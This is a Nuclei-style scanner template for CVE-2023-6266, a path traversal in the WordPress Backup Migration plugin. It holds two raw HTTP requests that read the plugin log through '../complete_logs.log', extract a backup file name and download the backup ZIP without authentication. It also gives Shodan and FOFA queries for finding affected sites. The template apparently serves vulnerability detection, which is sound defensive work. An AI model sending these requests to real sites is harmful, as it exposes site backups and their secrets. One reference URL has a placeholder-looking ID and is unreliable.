WordPress Backup Migration <= 1.3.6 - Path Traversal

id: CVE-2023-6266

info:
  name: WordPress Backup Migration <= 1.3.6 - Path Traversal
  author: riteshs4hu
  severity: high
  description: |
    WordPress Backup Migration plugin versions up to 1.3.6 contain a path traversal and file validation issue in handle_downloading function, letting unauthenticated attackers download backup files containing sensitive information.
  impact: |
    Attackers can download backup files with sensitive data, leading to data breaches and privacy violations.
  remediation: |
    Update to the latest version of the plugin, version 1.3.7 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8c3c04e-c0f9-4f7e-b7e5-3e3e3e3e3e3e
    - https://patchstack.com/database/vulnerability/backup-backup/wordpress-backup-migration-plugin-1-3-7-unauthenticated-arbitrary-backup-download-vulnerability
    - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L1048
    - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L972
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6266
    cwe-id: CWE-552
    epss-score: 0.02072
    epss-percentile: 0.79178
    cpe: cpe:2.3:a:backupbliss:backup_migration:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: backupbliss
    product: backup_migration
    framework: wordpress
    shodan-query: http.html:"backup-migration"
    fofa-query: body="backup-migration"
  tags: cve,cve2023,wp,wp-plugin,wordpress,backupbliss,backup-migration,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /?backup-migration=BMI_BACKUP&backup-id=../complete_logs.log HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "BM_Backup")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: backupfile
        part: body
        regex:
          - 'BM_Backup_[0-9_-]+_[A-Za-z0-9]+\.zip'
        internal: true

  - raw:
      - |
        GET /?backup-migration=BMI_BACKUP&backup-id={{backupfile}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/zip")'
        condition: and
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